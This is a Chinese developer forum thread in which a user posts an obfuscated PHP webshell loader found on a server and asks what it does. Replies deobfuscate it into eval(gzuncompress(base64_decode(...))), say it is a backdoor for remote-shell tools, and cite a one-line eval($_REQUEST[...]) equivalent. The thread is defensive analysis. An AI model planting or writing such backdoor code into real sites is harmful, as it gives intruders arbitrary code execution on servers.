V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
coffeygao
V2EX  ›  PHP

PHP 木马脚本,帮忙分析下干了什么事。内容加密太长了,在 de(加密数据)

  •  
  •   coffeygao · 215 天前 · 2011 次点击
    这是一个创建于 215 天前的主题,其中的信息可能已经有所发展或是发生改变。

    php 脚本,帮忙分析下这是干了什么事,是个木马。

    <?php
    $password = "****";
    error_reporting(E_ERROR | E_PARSE);@set_time_limit(0);
    header("content-Type: text/html; charset=gb2312");
    $filename='$password=\''.$password.'\';e'.'v'.'a'.'l(g'.'z'.'un'.'co'.'mp'.'re'.'ss(bas'.'e64_'.'deco'.'de(\'\')));';
    $Base=Create_Function('',$filename);$Base();
    ?>
    <?php
    $password = "****";
    error_reporting(E_ERROR | E_PARSE);@set_time_limit(0);
    header("content-Type: text/html; charset=gb2312");
    $filename='$password=\''.$password.'\';e'.'v'.'a'.'l(g'.'z'.'un'.'co'.'mp'.'re'.'ss(bas'.'e64_'.'deco'.'de(\'\')));';
    $Base=Create_Function('',$filename);$Base();
    ?>
    
    
    12 条回复    2023-09-25 17:12:53 +08:00
    pannanxu
        1
    pannanxu  
       215 天前
    以下是通义千问的回答,我看着挺符合的。

    这两段代码非常相似,都包含了以下操作:

    设置错误报告级别为 E_ERROR 和 E_PARSE ,这意味着只有当出现致命错误或语法错误时,错误信息才会被显示。
    设置脚本执行时间限制为无限制,这意味着脚本可以一直运行下去,直到被强制停止。
    设置响应头,告诉浏览器返回的内容是文本/HTML 类型,字符集为 GB2312 。
    定义了一个变量 $filename ,其值为一个字符串,其中包含了 PHP 的函数调用。这个函数调用使用了 eval 函数来执行,这个函数会执行字符串中的 PHP 代码。
    使用 Create_Function 函数来创建一个匿名函数,这个函数没有参数,但是会执行 $filename 中定义的 PHP 代码。
    调用这个匿名函数,从而执行了 $filename 中定义的 PHP 代码。
    这个代码片段的目的是执行一个包含密码的字符串,这个字符串被编码为 base64 ,并且在 eval 函数中被解码。这个过程可能会导致安全问题,因为 eval 函数会执行任意的 PHP 代码,这可能会导致代码注入攻击。
    x86
        2
    x86  
       215 天前
    你这看都不用看来,写个小马让远程菜刀之类去连接了
    yplam
        3
    yplam  
       215 天前
    base64_decode 里面应该还有内容吧,通常脚本语言执行代码不会留在你服务器上,而是留个后门实际执行代码调用时再 post 过来,你省略的那段 base64+gzip 大概率就是获取某 post 字段
    lshero
        4
    lshero  
       215 天前
    那一堆拼接的字符你都看到了 eval 了还能干啥事情,肯定是接受任意传入的文本生成一个匿名函数直接执行呗
    MeteorCat
        5
    MeteorCat  
       215 天前 via Android
    开 ssh ,让大哥来
    rocksolid
        6
    rocksolid  
       215 天前
    留个入口,这玩意本身啥事也不做,但是通过这个啥事都能干
    proxytoworld
        7
    proxytoworld  
       215 天前
    就是传了个后门,能通过这个后门执行任意 PHP 代码,如果没有通信流量也就这样了,这只是一个小马
    tabris17
        8
    tabris17  
       215 天前
    不用看
    基本就是类似于
    <?php eval($_REQUEST['shellcode']);
    这样的代码
    brader
        9
    brader  
       215 天前
    你和我之前提醒的一位同行一样,研究这份代码没有意义,你该研究的是你程序的哪个漏洞,让它成功把这个文件写进来的
    flyqie
        10
    flyqie  
       215 天前
    可读性美化后:
    <?php
    $password = "****";
    error_reporting(E_ERROR | E_PARSE);
    @set_time_limit(0);
    header("content-Type: text/html; charset=gb2312");
    $filename = '$password=\'' . $password . '\';eval(gzuncompress(base64_decode(\'\')));';
    $Base = Create_Function('', $filename);
    $Base();

    实际代码:
    <?php
    $password = "****";
    error_reporting(E_ERROR | E_PARSE);
    @set_time_limit(0);
    header("content-Type: text/html; charset=gb2312");
    eval(gzuncompress(base64_decode('')));
    Paulownia
        11
    Paulownia  
       215 天前
    通过 eval 执行函数,基本上啥都可以干,执行命令,写入文件,读取文件之类的。
    582033
        12
    582033  
       215 天前
    小马
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2941 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 12:52 · PVG 20:52 · LAX 05:52 · JFK 08:52
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.